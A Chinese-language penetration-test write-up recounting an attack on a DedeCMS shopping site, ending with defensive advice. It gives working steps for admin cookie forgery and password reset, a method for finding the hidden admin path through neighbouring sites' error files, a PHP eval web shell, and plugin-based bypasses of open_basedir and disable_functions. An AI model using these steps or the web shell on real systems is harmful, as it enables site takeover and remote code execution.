一次旁站信息泄露的dedecms站点渗透
字数 1551 2025-08-19 12:41:36
DedeCMS渗透测试实战教学文档
1. 信息收集阶段
1.1 初步识别
- 目标系统:DedeCMS V5.7 SP2
- 中间件:Nginx
- 网站类型:购物商城类站点
1.2 后台探测
- 默认后台路径
/dede返回404,说明管理员已修改默认后台路径 - 检查网站最后更新时间可帮助确定CMS版本
2. DedeCMS漏洞利用
2.1 前台管理员密码重置漏洞组合利用
步骤1:注册特殊用户
- 注册用户名为
00001的账户 intval('00001')结果为1,对应管理员ID
步骤2:获取认证信息
- 访问用户页面:
/member/index.php?uid=00001 - 从响应包中获取
last_vid__ckMd5值
步骤3:伪造管理员会话
- 访问
/member/ - 修改Cookie:
DedeUserID改为0001DedeUserID__ckMd5改为之前获取的last_vid__ckMd5值
- 成功登录管理员账户
2.2 任意用户密码重置漏洞
步骤1:生成重置密钥
访问URL:
http://X.X.X.X/member/resetpassword.php?dopost=safequestion&safequestion=0.0&safeanswer=&id=1
步骤2:快速跳转
- 页面会短暂显示跳转链接
- 快速点击"立即跳转"进入密码重置页面
注意事项:
- 此漏洞只能修改
dede_member表中的密码 - 管理员密码实际存储在
dede_admin表中 - 需在前台账户设置中再次修改密码才能真正更改管理员密码
3. 后台路径发现
3.1 数据库报错文件分析
- DedeCMS在
data目录下存在mysqli_error_trace.inc文件 - 该文件记录MySQL查询错误,可能暴露后台路径
3.2 旁站信息收集
- 通过真实IP反查域名
- 查找使用相同CMS的旁站
- 尝试在旁站上寻找数据库报错文件
- 将发现的路径应用到主站
4. 绕过安全限制
4.1 绕过open_basedir限制
方法1:使用专用代码
<?php
echo 'open_basedir: ' . ini_get('open_basedir') . '<br>';
echo 'GET: ' . $_GET['c'] . '<br>';
eval($_GET['c']);
echo 'open_basedir: ' . ini_get('open_basedir');
?>
方法2:使用哥斯拉工具
- 哥斯拉内置了bypass open_basedir插件
4.2 绕过disable_functions限制
环境分析:
- 服务器:Linux
- PHP运行模式:FPM/FastCGI
- 当前目录可写
PHP-FPM绕过方法:
- 使用蚁剑的绕过disable_functions插件
- 选择PHP-FPM/FastCGI模式
- 指定FPM地址(如
/tmp目录) - 成功后会生成
.antproxy.php代理文件 - 创建副本并连接该代理文件
禁用函数列表:
passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,
proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,
readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,
pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,
pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,
pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,
pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,
pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
imap_open,apache_setenv
5. 提权尝试
5.1 发现phpMyAdmin
- 发现存在
phpmyadmin目录 - 宝塔面板默认在888端口搭建phpMyAdmin
- 目标未开放888端口
5.2 限制因素
- bypass后的shell连接不稳定(约2分钟断开)
- 存在宝塔面板,提权风险较高
6. 关键知识点总结
-
DedeCMS漏洞组合利用:
- 前台用户ID处理漏洞
- 任意用户密码重置漏洞
- 需注意密码存储在不同表中
-
旁站信息收集技巧:
- 同类型站点往往有相似目录结构
- 数据库报错文件可能泄露关键路径
-
安全限制绕过:
- open_basedir限制绕过方法
- disable_functions绕过技术(特别是PHP-FPM方式)
-
渗透测试策略:
- 当主站防护严格时,旁站可能成为突破口
- 系统环境分析对选择绕过方法至关重要
7. 防御建议
-
针对DedeCMS:
- 及时更新到最新版本
- 修改默认后台路径
- 限制会员注册功能
-
服务器安全:
- 定期检查并清理数据库报错文件
- 合理配置open_basedir和disable_functions
- 监控/tmp目录异常文件
-
网络架构:
- 避免同IP下部署多个相似站点
- 对旁站进行同等安全防护
-
应急响应:
- 建立webshell检测机制
- 对异常管理员登录行为进行告警